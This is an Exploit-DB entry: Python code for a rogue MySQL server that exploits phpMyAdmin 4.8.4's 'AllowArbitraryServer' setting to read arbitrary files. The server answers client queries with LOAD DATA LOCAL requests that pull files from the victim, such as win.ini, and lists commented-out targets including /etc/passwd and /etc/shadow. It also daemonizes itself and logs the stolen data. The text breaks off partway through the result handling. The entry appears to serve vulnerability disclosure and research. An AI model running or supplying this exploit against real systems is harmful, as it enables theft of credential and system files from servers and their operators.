Exploit-DB #46041
Description: phpMyAdmin 4.8.4 - 'AllowArbitraryServer' Arbitrary File Read
Type: webapps
Platform: php
Date: 2018-12-15
Author: VulnSpy

Exploit:
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '3.0.0-Evil_Mysql_Server' + '\0',  # Version
                    #'5.1.66-0+squeeze1' + '\0',
                    '\x36\x00\x00\x00',  # Thread ID
                    'evilsalt' + '\0',  # Salt
                    '\xdf\xf7',  # Capabilities
                    '\x08',  # Collation
                    '\x02\x00',  # Server Status
                    '\0' * 13,  # Unknown
                    'evil2222' + '\0',
                ))
            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')